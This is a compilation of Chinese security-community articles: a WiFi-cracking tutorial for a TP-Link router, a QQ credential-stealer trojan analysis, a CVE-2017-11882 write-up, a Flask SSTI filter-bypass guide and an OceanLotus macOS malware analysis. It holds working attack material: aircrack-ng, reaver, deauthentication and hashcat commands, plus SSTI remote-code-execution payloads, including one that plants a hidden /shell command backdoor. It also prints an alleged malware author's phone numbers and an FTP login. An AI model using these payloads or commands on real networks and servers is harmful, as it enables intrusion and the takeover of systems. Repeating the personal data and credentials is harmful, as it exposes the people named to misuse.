CVE-2017-11282：0patching Flash Player远程内存破坏漏洞
[https://www.youtube.com/watch?v=6iZnIQbRf5M&feature=youtu.be](https://www.youtube.com/watch?v=6iZnIQbRf5M&feature=youtu.be)
0patching the "Immortal" CVE-2017-7269
<http://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html> | 社区文章 |
# 【技术分享】 如何破解TP link WR841N路由器无线网络（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：hackingtutorials
原文地址：<http://www.hackingtutorials.org/wifi-hacking-tutorials/how-to-hack-a-tp-link-wr841n-router-wireless-network/#prettyPhoto>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **secist**](http://bobao.360.cn/member/contribute?uid=1427345510)
**预估稿费：100RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
在这篇文章中，我将会向你展示如何破解TP Link WR841N路由器无线密码。这款 TP Link路由器外壳上有８个字符的PIN码并默认支持WPS
PIN作为WiFi密码。基于以上特点，我将尝试以下技术来破解TP Link WR841N无线密码：
１.首先我将使用Pixiedust WPS Reaver 1.5.2和Aircrack-ng套件来尝试获取密码。
２.接着我将尝试使用reaver来获取WPS PIN码。
３.最后我将使用Airodump-ng来抓取四步握手过程，并使用crunch生成默认密码列表，并结合oclHashcat进行爆破。
**1.使用 Reaver 实现 Pixie Dust WPS 攻击**
让我们先通过以下命令将网卡设置为监听模式：
airmon-ng start wlan0
在 kali 2.0 sana 版本下，出现以下错误：
[X] ERROR: Failed to open ‘wlan0mon’ for capturing
解决方案如下：
1\. 首先将网卡设置为监听模式 airmon-ng start wlan0
2\. 上步操作将会启动一个名为 wlan0mon 的监听网卡
3\. 使用 iwconfig 命令，检查网卡模式是否仍处于管理模式，如果是的话我们使用以下命令来将其设置为监听模式：
ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up
4\. 再次使用 iwconfig 命令检查其是否已经成功设置为监听模式
5\. 启动：airodump-ng wlan0mon up
特殊情况下我们可以杀死KAIL的相关进程。
现在让我们启动 airodump-NG 获取目标的 BSSID，MAC 地址和 channel 。
airodump-ng -i wlan0mon
下面我们使用获取到的 BSSID 和 channel 结合Reaver来获取目标的 PKE, PKR, e-hash 1&2, E/R-nonce 和
authkey 以供 pixiewps 破解使用：
Reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]
现在我们启动 pixiewps 如下：
基本参数；
- E-HASH1，这个hash 值是我们破解前半部分 PIN 码所要使用的 hash 。
- E-HASH2，这个hash 值是我们破解后半部分 PIN 码所要使用的 hash 。
- HMAC ,是密钥相关的哈希运算消息认证码。
- PSK1，是路由器PIN码的前半段（有10,000种可能性）
- PSK2，是路由器PIN码的后半段（这里有1000种可能性，因为其中一位为效验码。就算有10000种可能性，对我们而言依旧很轻松就能破解）。
- PKE，是注册人的公钥（用于验证WPS交换的合法性和防止重放）。
- PKR，是注册的公钥（用于验证一个WPS交换的合法性和防止重放）。
从结果可以看出，该路由器不存在可被 WPS 攻击的漏洞。
**2.Reaver WPS PIN 攻击**
我们使用如下命令开始进行 WPS PIN 攻击：
reaver -i wlan0mon -b [BSSID] -vv -c 1 -d 5 –w
不幸的是在 6 次尝试破解后，路由器的锁定机制被触发，导致我们无法继续在进行爆破尝试。如果出现这种情况，我们其实可以使用 MDK3 来对目标发起 DoS
强制断开目标网络，致使其路由器重启，从而帮助我们绕过锁定机制。
**3.使用 oclHashcat 暴力破解路由器**
让我们看看我们是否可以通过捕捉4次握手包，及使用默认路由器密码列表来进行离线的暴破来得到密码。我们将使用以下工具：
1\. 使用 crunch 来生成密码列表。
2\. 使用 airodump-ng 来捕捉四次握手包。
3\. 使用 airplay-ng 来打断目标客户机连接。
4\. Windows下使用 oclHashcat GPU。
首先让我们使用 crunch 来生成字典：
crunch 8 8 1234567890 -o /root/Desktop/88numlist.txt
这可能需要一段时间，将会生成一个 ９００ Ｍ大小，由８位数字所有组合的字典表。
接着，让我们来通过 Airodump-ng 和 Aireplay-ng 来抓取目标的握手包数据。我们先用 Airodump-ng 来找到我们的目标：
airodump-ng wlan0mon
现在选择你目标的BSSID和 channel，并重新启动以上命令：
airodump-ng –bssid [BSSID] -c [channel]-w [握手包 .cap]wlan0mon
最后我们打开一个新的 terminal 窗口，并使用 Aireplay-ng 来强制打断目标连接使其重新连接。命令如下：
aireplay-ng -0 2 -a [BSSID] -c [Client MAC] wlan0mon
可以看到我们成功使目标客户机重新连接，并成功的抓取到了四步握手过程！
第3步：猜解默认路由器密码列表
我们将在Windows上使用oclHashcat GPU结合我们之前生成的密码字典来破解 WIFI 密码。
在此之前，我们必须将.CAP文件转换为.hccap文件。命令如下：
aircrack-ng -J [Filepath to save .hccap file] [Filepath to .cap file]
现在，我们就可以在Windows上启动oclHashcat开始进行暴破任务啦！
oclhashcat64.exe -m 2500 -w 3 –[gpu-temp-retain=60] –status -o cracked.txt tplink.hccap 88numlist.txt
不一会时间，密码就被成功爆破：
oclhashcat
**演示视频** | 社区文章 |
# QQKEY盗号木马新型变种溯源分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
报告编号： B6-2018-060801
报告来源： 360CERT
报告作者： 360CERT
更新日期： 2018-06-08
## 0x00 前言
近日360CERT监测到一种可以免杀市面上几乎所有主流杀软的QQKEY盗号木马变种，并且木马作者公然在国内搭建网站对外销售此木马，360CERT在收到木马变种后第一时间对该样本进行分析。
(上图:木马作者官网图片)
## 0x01 木马分析
根据我们捕获到的样本发现，该盗号木马相比以前发现的盗号木马功能相对要全面一些：
(上图:木马初始化阶段)
在启动程序的时候根据木马传播者的后台账号生成QQKEY收信地址，并且使用taskkill命令结束360安全卫士进程。
(上图:获取当前电脑已登录的QQ)
该木马获取QQKEY的方式与此前发现的没有改变，依旧还是通过QQ快速登录的逻辑漏洞获取。
临时解决办法：木马将获取QQKEY的网页端口固定在4300，可以尝试多登录几个QQ，然后关闭第一次登陆的QQ，使后续登陆的QQ快速登录服务改到4301-4310端口即可。
## 0x02 溯源分析
(上图:域名WHIOS信息)
事后，我们根据该木马的C&C地址查询了一下域名WHIOS信息，得知：
联系人：刘千仪 联系邮箱：[email protected] 手机号：17602394355 QQ号：649484636
不过后续我们查询了一下域名信息修改记录得知：该域名应该是已备案域名二手过户而来，姓名与备案信息可能不真实。
(上图:格子网店信息)
(上图:百度贴吧信息)
根据QQ号，我们在搜索引擎搜索到该木马作者在百度贴吧、格子网店等等公布过自己的联系方式： 手机：13883208351 百度贴吧账号：小仓鼠旋风
原来贴吧也是他推广销售木马的一种渠道。
(上图:木马官网联系信息)
我们通过官网发现了他用于销售推广木马的专用QQ小号及QQ群。
(上图:QQ群公告)
(上图:群成员信息)
我们创建了一个QQ小号加群后发现： 官方网盘：<http://agulang.cccpan.com/> 密码:gulang 文件下载：gulang002
售后处理邮箱：[[email protected]](mailto:[email protected])
(上图:网盘信息)
我们发现他的网盘内包含有两个生成器：ASP版、MYSQL版，同时后面跟着广告信誓旦旦的说能过360，且网盘在线人数还不低。
(上图:360安全卫士查杀)
但是我去验证了一下所谓能过360的说法，结果让我非常失望，被360安全大脑的QVM引擎给查杀了。
(上图:软件内FTP连接信息)
我们下载了他的ASP版看了一下，脱壳后发现他的字符串中竟然带有网站的FTP连接信息： FTP: sx.xcjze.cn User: w22888 PASS:
5B5299A43Af56e
(上图:FTP中QQKEY目录)
(上图:部分QQKEY信息)
我们验证了该连接信息的准确性，并且发现该QQKEY目录内包含有以木马生成器登陆账户名命名。
点开其中一个目录的QQKEY.TXT后发现里面包含有各种QQKEY信息。
## 0x03 后话
根据上面分析我们得知目前在国内滋生的盗号产业十分猖獗，并且他们的手段仅仅只是HTTP
GET而已，一般情况下AV都会将这种行为给忽略，所以此类木马做免杀非常容易。建议广大用户立即下载安装能准确查杀此类盗号木马的“360安全卫士”进行安全防护，不要轻信任何软件提示所谓的关闭杀毒后在运行，安全第一！
## 0x04 360网络安全响应中心（360CERT）
360CERT成立于2017年5月，是一个年轻且有强大安全能力的团队。团队专注于互联网上游应急响应、网络攻防研究、恶意软件分析，依托360海量安全数据和团队顶尖安全专家支撑，在安全漏洞事件分析和情报分析，威胁预警方面有深厚积累。
邮箱：[[email protected]](mailto:[email protected])
微信公众号：360CERT
## 0x05 时间线
**2018-06-08** 360CERT发布分析报告
## 0x06 参考链接
1. [Steam新型盗号木马及产业链分析报告](http://www.360.cn/newslist/zxzx/Steamxxdhmmjcylfxbg.html) | 社区文章 |
作者：[WeaponX@逢魔安全实验室](https://mp.weixin.qq.com/s/zEWBCHCSPw_HvjEktcg2Sg
"WeaponX@逢魔安全实验室")
#### 0x00 简介
CVE-2017-11882为Office内存破坏漏洞。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。所影响的组件是Office
公式编辑器。需要注意的是这里是老版本的公式编辑器，微软在新版本的office中已经默认不使用了。不过，微软仍然保留老版本的公式编辑器，为了兼容。在编辑使用老版本的公式编辑器制作的公式时，才会使用老版本的公式编辑器。
#### 0x01 漏洞分析
打开`exploit.rtf`后直接弹出计算器，看到计算器是`EQNEDT32.EXE`的子进程。判断漏洞出现在`EQNEDT32.EXE` 。
我们使用windbg在`kernel32!WinExec`下断点，断下来后看调用栈。
可以看到，此时`kernel32!WinExec`的参数为cmd.exe /c
calc.exe就是PoC触发后的WinExec调用。接着，我们回溯调用栈。看看`kernel32!WinExec`是哪个函数调用的。
继续向上回溯，看上一个函数
继续看0x004115a7
伪代码很简单，下个断点跟一下。在执行完sub_41160F后计算器已经弹出，说明漏洞出现在`sub_41160F`中。随后，我们在`sub_41160F`下断点。
函数结束时即到达ret指令时
发现返回地址已经被修改，变成了00430c12，我们继续回看Exploit。
这就是明显的栈溢出。
#### 0x02 Exploit 分析
使用rtfobj.py将OLE Data导出来。
这里，Equation Native的结构为Equation Native = Equation Stream Header + MTEF Header +
MTEF Data 。
其中Equation Stream Header的结构为
MTEF Header的结构为
MTEF Data的结构为
到这里，问题就很明显了。原因就是在于在处理字体名称的时候，没有做长度判断。导致使用strcpy拷贝字体名称导致栈溢出。
int __cdecl sub_41160F(char *a1, char *a2, int a3)
{
int result; // eax@12
char v4; // [sp+Ch] [bp-88h]@5
char v5; // [sp+30h] [bp-64h]@4
__int16 v6; // [sp+51h] [bp-43h]@5
char *v7; // [sp+58h] [bp-3Ch]@7
int v8; // [sp+5Ch] [bp-38h]@1
__int16 v9; // [sp+60h] [bp-34h]@1
int v10; // [sp+64h] [bp-30h]@1
__int16 v11; // [sp+68h] [bp-2Ch]@1
char v12; // [sp+6Ch] [bp-28h]@1
int v13; // [sp+90h] [bp-4h]@1
LOWORD(v13) = -1;
LOWORD(v8) = -1;
v9 = strlen(a1);
strcpy(&v12, a1); // overflow here
_strupr(&v12);
...
}
这里，a1是字体名称字符串，可见在strcpy进行字符串拷贝时没有进行长度判断，导致栈溢出。
#### 0x03 Patch Diff
此时`ecx = strlen(a1) + 1`，所以微软在这里对字体长度做了限制，不大于0x21，所以这里不会有问题了。
* * * | 社区文章 |
## ctf中flask_ssti的各种绕过技巧
###### 相信在ctf中大家遇到flask_ssti已经很多次了，这篇文章就研究和探讨一下绕过的方法。
##### python的字符串表达
######
flask_ssti的过滤一般是过滤某些字符串，既然是字符串，那么我们去找找字符串有哪些特性不就可以得到很多的trick了吗？我们先找到python的手册，然后找到字符串的一些解释
<https://docs.python.org/zh-cn/3/tutorial/introduction.html#strings>
######
这里我们就发现了2个trick了，字符串拼接和字符串截取，字符串拼接可以是直接相邻的两个字符串会自动拼接到一起，或者使用`+`来进行拼接，比如说过滤了`__`，我们可以通过`"_""_"`或者`"_"+"_"`来绕过，这里写个测试ssti的代码：
from flask import Flask,render_template,request,session,url_for,redirect,render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "password"
@app.route("/",methods=["POST"])
def index():
ssti = request.form.get('ssti')
return render_template_string('''%s '''% (ssti))
if __name__ == "__main__":
app.run()
###### 可以看到成功解析了
######
继续看看字符串还有什么特性，发现了格式化字符串，不过`f"a{name}"`这种用不了，因为所有字符串首先都会在jinja2（jinja2.parser.Parser）进行解析，这里直接就过不了语法的解析，因为匹配解析模式里面就没有`f"*"`这样的格式，所以用不了，不过字符串的属性还是继承了的
<https://docs.python.org/zh-cn/3/tutorial/inputoutput.html#formatted-string-literals>
###### 不过还有其他格式化的方式
###### 找到了格式化的方式，那么就看看格式化的特点吧
<https://docs.python.org/zh-cn/3/library/string.html#formatstrings>
###### 那么我们就可以通过数字来绕过某些单个字符的过滤了
###### 还有一个就是字符串与字节串字面量，这里就可以得到如果没有过滤`\`，那么就可以通过8进制、16进制或者unicode进行绕过
<https://docs.python.org/zh-cn/3/reference/lexical_analysis.html#string-and-bytes-literals>
###### 关于字符串的trick基本就找完了
##### jinja2的解析运行的大概流程
######
通过跟踪源码首先在jinja2解析的地方下断点，发现首先会对要解析的字符串进行语法解析（前面的`f"*"`这种用不了，也是因为这里过不了解析），并且返回一个Template的对象
###### 接着又会对这个Template类进行转换为python可以执行的代码
###### 然后又`_compile的compile`进行处理，返回一个exec可以处理的code对象
######
最后交给exec进行处理，并且添加了namespace（namespace的globals里面的对象就是可以直接使用的），然后在filters里面就是自带的过滤器，后面的各种绕过都和globals、filters有关
##### python的类的继承链
###### 关于python的类继承网上有很多的文章，这里没有太大的必要在写了，就说几个关键的属性或者方法就行
__mro__ 返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表 //用来得到类的方法
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__getitem__(1)获得可迭代对象的下标为1的值
##### 绕过的一些方式
######
如果没有过滤`'`或者`"`，那么就可以根据字符串的特性进行各种绕过，格式化字符串或者进制字符串进行绕过一些关键词的过滤，比如lipsum没有过滤，我们就可以通过这个函数配合字符串特性进行绕过，给出一个绕过poc：
{{lipsum['__globals__']['__builtins__']['eval']('__import__("os").system("calc")')}}
{{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x63\x61\x6c\x63\x22\x29')}}
######
当然还有几个函数可以代替lipsum，也就是在jinja2解析时的globals里面对象，比如`url_for`和`get_flashed_messages`，如果过滤了引号，那就可以利用request这个对象进行绕过，如下poc：
ssti={{lipsum[request.form.get(request.method)[:11]][request.args.get(request.method)][request.headers[request.method]](request.form.get(request.method)[11:])}}&POST=__globals____import__("os").system("calc")
######
关于对象的利用和字符串特性的利用基本探讨的差不多了，然后就是探讨对于过滤器的利用，比如说过滤了`[]`我们就可以通过attr的过滤器和`__getitem__`的类属性进行绕过。是时候看看jinja2的文档了，发现了其他运算符，`~`就可以进行字符串拼接了，这里又多了一个字符串的利用特性
<http://docs.jinkan.org/docs/jinja2/templates.html#id33>
###### 然后看看过滤器的利用，这里很明显就看到了attr这个过滤器
<http://docs.jinkan.org/docs/jinja2/templates.html#builtin-filters>
###### 给出一个过滤了`[]`的利用poc，当然关于attr里面的字符串又可以通过开始说的字符串特性进行各种姿势绕过：
{{lipsum|attr('__globals__')|attr('get')('__builtins__')|attr('get')('eval')('__import__("os").system("calc")')}}
######
如果把引号和`request`都过滤了，通过查看文档发现可以通过dict配合string的过滤器得到字符串，然后在通过字符串特性进行构造poc：
{%set a=dict(globalsbuiltinsevalimportossystemcalcget=0)|string|urlencode%}{%set x=(a[0]~a[39])%95%}
{%set y=(a[0]~a[39])%34%}
{%set k1=(a[0]~a[39])%40%}
{%set k2=(a[0]~a[39])%41%}
{%set d=(a[0]~a[39])%46%}
{{lipsum|attr(x~x~a[6:13]~x~x)|attr(a[43:46])(x~x~a[13:21]~x~x)|attr(a[43:46])(a[21:25])(x~x~a[25:31]~x~x~k1~y~a[31:33]~y~k2~d~a[33:39]~k1~y~a[39:43]~y~k2)}}
######
到这里关于ssti的绕过方法也就基本讲完了，关于过滤了`{{}}`和print且不出网的ssti除了延时，可以通过`{%%}`来写入路由后门给出poc如下：
{% if 1==lipsum['__globals__']['__builtins__']['exec']('\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x0a\x0a\x40\x63\x75\x72\x72\x65\x6e\x74\x5f\x61\x70\x70\x2e\x72\x6f\x75\x74\x65\x28\x27\x2f\x73\x68\x65\x6c\x6c\x27\x2c\x6d\x65\x74\x68\x6f\x64\x73\x3d\x5b\x27\x47\x45\x54\x27\x2c\x27\x50\x4f\x53\x54\x27\x5d\x29\x0a\x64\x65\x66\x20\x73\x68\x65\x6c\x6c\x28\x29\x3a\x0a\x20\x20\x20\x20\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x0a\x20\x20\x20\x20\x66\x72\x6f\x6d\x20\x66\x6c\x61\x73\x6b\x20\x69\x6d\x70\x6f\x72\x74\x20\x72\x65\x71\x75\x65\x73\x74\x0a\x20\x20\x20\x20\x63\x6d\x64\x3d\x72\x65\x71\x75\x65\x73\x74\x2e\x61\x72\x67\x73\x2e\x67\x65\x74\x28\x27\x63\x6d\x64\x27\x29\x0a\x20\x20\x20\x20\x72\x74\x3d\x6f\x73\x2e\x70\x6f\x70\x65\x6e\x28\x63\x6d\x64\x29\x2e\x72\x65\x61\x64\x28\x29\x0a\x20\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x72\x74') %}{% endif%}
其中的16进制编码了原始代码
from flask import current_app
@current_app.route('/shell',methods=['GET','POST'])
def shell():
import os
from flask import request
cmd=request.args.get('cmd')
rt=os.popen(cmd).read()
return rt | 社区文章 |
# OS X 版OceanLotus：伪造成Flash更新的恶意软件
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.alienvault.com/open-threat-exchange/blog/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update>
译文仅供参考，具体内容表达以及含义原文为准。
[](https://www.alienvault.com/open-threat-exchange/blog/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update)
2015年5月,奇虎360的研究人员公布了对OceanLotus的报告,其中包括恶意软件攻击中国基础设施的详细信息。该报告中有关于恶意软件攻击OS
X系统的描述。恶意软件的样本于几个月前上传到VirusTotal。奇怪的是,
直到2016年2月8日,VirusTotal的55个防病毒解决方案都没有检测出样本是恶意软件。因此,我们认为仔细看看OceanLotus的OS
X版本会发现有意思的事情。
**分析**
OS X版OceanLotus的应用程序包伪装成Adobe Flash更新。其中有趣的文件是:
FlashUpdate.app/Contents/MacOS/EmptyApplication
FlashUpdate.app/Contents/Resources/en.lproj/.en_icon
FlashUpdate.app/Contents/Resources/en.lproj/.DS_Stores
**载入程序**
正如下文所示,EmptyApplication是通用二进制,它可以在i386和x86_64体系结构上运行。这是一个相当简单的程序,ROL3解码“隐藏的”.en_icon和.DS_Stores文件然后执行它们。
$file EmptyApplication
EmptyApplication: Mach-O universal binary with 2 architectures
EmptyApplication (for architecture x86_64): Mach-O 64-bit executable x86_64
EmptyApplication (for architecture i386): Mach-O executable i386
EmptyApplication使用密钥“XC”进行XOR加密来模糊处理二进制中的字符串。下面是一个简单的解密函数。
在64位版本中,短于8个字节的字符串存储为integer值。长度超过8个字节的加密字符串存储在相邻变量中,解密函数以8个字节为界读取变量。正如下面所示,&V34被传递给解密函数,但该函数实际上解密的是V34和V35的组合。
解码.en_icon之后,EmptyApplication将自己写入临时目录并命名为“pboard”(大概是为了模仿OS
X粘贴板守护进程),并执行二进制文件。然后EmptyApplication删除自身,解码.DS_Stores,并作为“EmptyApplication”
写入解码二进制——取代原有的EmptyApplication可执行文件。最后,新的EmptyApplication通过调用NSTask.launch()重新启动。解密的.DS_Stores二进制重复原EmptyApplication同样的过程,只是它不再找.DS_Stores。
**木马**
**加密字符串**
解码的.en_icon文件是主要的木马。它具有反调试功能,能处理与指令控制服务器的连接。正如我们后面所讨论的,该木马利用了多种OS
X的特定命令和API调用,所以显然这个木马是为OS X量身定制的,而不是来自其他操作系统的端口。
另外,大多数二进制字符串是XOR加密,但这个二进制使用多密钥且密钥本身是XOR加密。事实上,此木马做的第一件事就是解密几个XOR密钥。有趣的是,解密密钥使用C
++静态构造器在“main”入口点之前执行。此代码引用于Mach-O二进制文件中的__mod_init_func部分。
你可以从上图中看到,整个可执行文件使用的主解密密钥是“Variable”。虽然XOR解密的本质很简单,但是这种方案使得逆向工程变得繁琐。下面是解密函数,除了该版本采用变量解密密钥以外,其他都类似于在EmptyApplication中使用的功能。
**反调试**
为了防止调试器连接,木马使用参数PT_DENY_ATTACH 调用ptrace()。此外,它会创建一个信号处理器来捕获SIGTRAPs,调用“INT
3”来投放一个SIGTRAP,在SIGTRAP处理器设置flag并于继续运行之前检查flag值。就反调试而言这可够烦的了。
接着,木马查看二进制上最后27个字节来进行签名检查。27字节中前11个字节必须匹配二进制硬编码值,最后16个字节必须与二进制减去最后27个字节的MD5散列相匹配。
**持久性**
木马执行的第一个真正的功能是为存储设置一个启动代理——启动代理在每次有用户登录时都会运行。木马复制自身到~/Library/Logs/.Logs/corevideosd(或/Library/Logs/.Logs/corevideosd,如有root权限),并在~/Library/LaunchAgents/com.google.plugins.plist(或/Library/LaunchAgents/com.google.plugins.plist)创建一个启动代理plist来引用corevideosd可执行文件。
除了使用“隐藏”目录,木马调用corevideosd和com.google.plugins.plist文件的chflags(文件名,UF_HIDDEN)。最后一步是调用XATTR
-d -r com.apple.quarantine
PATH到corevideosd,从corevideosd删除审查扩展属性。如果启动代理已经在运行,指令"/bin/launchctl unload
"/Library/LaunchAgents/com.google.plugins.plist"用于重载corevideosd之前先卸载本身。
**指令与控制通信**
该木马尝试联系多个指令和控制服务器(C2s)来检索指令和额外payload。它尝试连接的第一个C2是HTTP协议80端口上的kiifd[.]pozon7[.]net。下面是check-in请求的一个例子。
这里,1AD6A35F4C2D73593912F9F9E1A55097是IOPlatformUUID的MD5哈希值。IOPlatformUUID通过执行OS
X特定指令得到:
/usr/sbin/ioreg -rd1 -c IOPlatformExpertDevice | grep 'IOPlatformUUID'
其中UUID也写入到本地~/Library/Preferences/.fDTYuRs。被写入磁盘前,UUID使用“PTH”进行了XOR加密。
目前,kiifd[.]pozon7[.]net关闭了,然而,木马是加密下载的并执行一个C2告知的额外payload。它可以运行一个可执行文件或打开一个压缩的应用程序包(.app应用程序)。
遇到第一个C2后,木马检查本地文件~/Library/Parallels/.cfg (或
/Library/Parallels/.cfg)来运行可执行文件或应用程序列表。~/Library/Parallels/.cfg本质上是木马第一次启动时运行的一个包含程序列表的“启动项目”文件。虽然中国的研究人员报告说OceanLotus
MAC可以检测Parallels虚拟环境,我们不这么认为。 OceanLotus
MAC只存储在Library/Parallels/目录中的一个隐藏配置文件中。
接下来,木马执行check-in到一个“加密”的C2。它首先尝试连接到shop[.]ownpro[.]net,如果主机关闭,它将回退到pad[.]werzo[.]net。网络通信通过端口443但不使用SSL。数据使用XOR
key of 0x1B的一个字节加密。在最初的检查中,受害方不发送受损主机的任何数据。
确认与C2通信成功后,该木马已经准备好开始从C2处理命令。它首先创建一个每分钟ping一次的活动线程,然后收集以下有关系统和当前用户的信息:
·Product Name and Version (read from
/System/Library/CoreServices/SystemVersion.plist)
·Machine name
·Is the user root
·User's name (from pw_gecos)
·Username
·MD5 hash of the IOPlatformUUID (If IOPlatformUUID can't be found, then a
combination of username and machine name is used as a unique ID)
除了系统和用户信息,木马从[www.microsoft.com](http://www.microsoft.com)获取当前时间。它发送一个HTTP请求到www.microsoft.com并分析响应数据的报头。实际上该请求中有个错误——请求访问www.microsoft.com是这样的:
正如你所看到的,使用400在请求和服务器响应之间没有路径,由于该木马只关心响应中的Date头,该错误请求仍然能用。解析的日期转换并存储在~/Library/Hash/.Hashtag/.hash
(或
/Library/Hash/.Hashtag/.hash)。这里,在木马从~/Library/Hash/.hash读取时间中还有一个错误,丢失了.HashTag目录。除了时间戳,值“TH”和1也存储在文件中,整个内容使用密码"camon"进行了XOR加密。
系统和用户信息发送到C2,最后,创建一个新的线程来处理从C2来的命令。下面是加密通信到C2的转储。
使用密码0x1B解码系统信息块的结果在如下数据中。
X02 X10 X00 X00 x00Mac OS X 10.10.5 X00 X02 X00 X00 x00av t X00 X00
x00lab_osx_1
x00x00x001AD6A35F4C2D73593912F9F9E1A55097xcbxf2x81Vx00x00x00x00@x00x00x00x02x00x00x00thx00x00x00x00
系统和用户信息发送到C2之后,该线程试图每秒读取C2一次,然而,似乎C2每5秒才发送一次数据。如果来自C2的响应包含一个命令指令,木马会执行这些命令中的一个。下面是二进制解密出的字符串。
Usage: ls [path]
Usage: cd <path>
Usage: pwd
Usage: rm <file_path>
Usage: cp <srcpath> <dstpath>
Usage: mv <srcpath> <dstpath>
Usage: ps
Usage: proc <pid>
Usage: kill <pid>
Usage: exec <path>
Usage: info [path]
Usage: cmd <command system>
Usage: localip
Usage: recent
Usage: windows
Usage: download fromURL savePath
Usage: cat path [num_byte]
Usage: capture <saved_path>
where
"exec"通过调用系统("open <APP Bundle>")打开一个应用程序包(.app directory)
"info"返回文件名或路径信息
"recent"返回最近打开的文档的列表。
这些通过调用LSSharedFileListCreate(0, kLSSharedFileListRecentDocumentItems, 0)来实现;
"windows"返回关于系统上的当前的打开窗口的信息。
通过调用CGWindowListCopyWindowInfo()实现
"capture"保存当前桌面到指定路径的屏幕截图。通过执行命令"/usr/sbin/screencapture -x
<PATH>"来完成(-x选项阻止截屏声音的播放)
"where"缺少用法说明,它是一个返回运行木马程序的完整路径的命令。这通过执行"ps awx | awk '$1 == [PID] {print
$5}"完成,其中PID是当前进程ID。
除了上述功能,还有命令码允许C2执行以下操作:
l更新/Library/Hash/.Hashtag/.hash文件
l更新或读/Library/Parallels/.cfg文件
l自动从一个URL下载文件
l解压缩并打开一个压缩应用程序包,运行可执行文件,或者从一个动态库执行代码。
l终止进程
l删除文件或文件路径
l关闭与C2的连接
**总结**
OS X版OceanLotus显然是一个成熟的恶意软件,因为使用OS X特定命令和API的证据表明其作者非常熟悉该操作系统,并花了相当多的时间定制它的OS
X环境。与其他先进的恶意软件类似,二进制模糊处理的使用表明作者想保护自己的成果,使其很难被别人逆向,并降低被检测出来的概率。VirusTotal的0检测事实也显示了它的成功。
我们还发现一个版本的OceanLotus,这个要简单很多。它仍然通过80端口在kiifd[.]pozon7[.]net
与kiifd硬编码C2连接,但是没有连接到一个加密的C2。此版本不能启动多个线程来处理其他任务,因此很可能是一个早期版本。我们没有对这个早期版本进行深入分析,但是,此版本对于探究恶意软件如何进化还是很有用的。
### IOCs
### Hashes:
ROL3 encoded .en_icon:
9cf500e1149992baae53caee89df456de54689caf5a1bc25750eb22c5eca1cce
ROL3 decoded .en_icon:
3d974c08c6e376f40118c3c2fa0af87fdb9a6147c877ef0e16adad12ad0ee43a
ROL3 encoded .DS_Stores:
4c59c448c3991bd4c6d5a9534835a05dc00b1b6032f89ffdd4a9c294d0184e3b
ROL3 decoded .DS_Stores:
987680637f31c3fc75c5d2796af84c852f546d654def35901675784fffc07e5d
EmptyApplication:
12f941f43b5aba416cbccabf71bce2488a7e642b90a3a1cb0e4c75525abb2888
App bundle
[83cd03d4190ad7dd122de96d2cc1e29642ffc34c2a836dbc0e1b03e3b3b55cff](https://www.virustotal.com/en/file/83cd03d4190ad7dd122de96d2cc1e29642ffc34c2a836dbc0e1b03e3b3b55cff/analysis/)
Another older variant that only communicates with the unencrypted C2
[a3b568fe2154305b3caa1d9a3c42360eacfc13335aee10ac50ef4598e33eea07](http://a3b568fe2154305b3caa1d9a3c42360eacfc13335aee10ac50ef4598e33eea07/)
### C2s:
kiifd[.]pozon7[.]net
shop[.]ownpro[.]net
pad[.]werzo[.]net
### Dropped Files:
/Library/.SystemPreferences/.prev/.ver.txt or
~/Library/.SystemPreferences/.prev/.ver.txt
/Library/Logs/.Logs/corevideosd or ~/Library/Logs/.Logs/corevideosd
/Library/LaunchAgents/com.google.plugins.plist or
~/Library/LaunchAgents/com.google.plugins.plist
/Library/Parallels/.cfg or /~Library/Parallels/.cfg
/tmp/crunzip.temp.XXXXXX (passed to mktemp(), so the actual file will vary)
~/Library/Preferences/.fDTYuRs
/Library/Hash/.Hashtag/.hash (or ~/Library/Hash/.Hashtag/.hash)
**Detection**
Yara Rules
rule oceanlotus_xor_decode
{
meta:
author = "AlienVault Labs"
type = "malware"
description = "OceanLotus XOR decode function"
strings:
$xor_decode = { 89 D2 41 8A ?? ?? [0-1] 32 0? 88 ?? FF C2 [0-1] 39 ?A [0-1] 0F 43 D? 4? FF C? 48 FF C? [0-1] FF C? 75 E3 }
condition:
$xor_decode
}
rule oceanlotus_constants
{
meta:
author = "AlienVault Labs"
type = "malware"
description = "OceanLotus constants"
strings:
$c1 = { 3A 52 16 25 11 19 07 14 3D 08 0F }
$c2 = { 0F 08 3D 14 07 19 11 25 16 52 3A }
condition:
any of them
}
Osquery OceanLotus pack:
{
"platform": "darwin",
"version": "1.4.5",
"queries": {
"OceanLotus_launchagent": {
"query" : "select * from launchd where name = 'com.google.plugins.plist';",
"interval" : "10",
"description" : "OceanLotus Launch Agent",
"value" : "Artifact used by this malware"
},
"OceanLotus_dropped_file_1": {
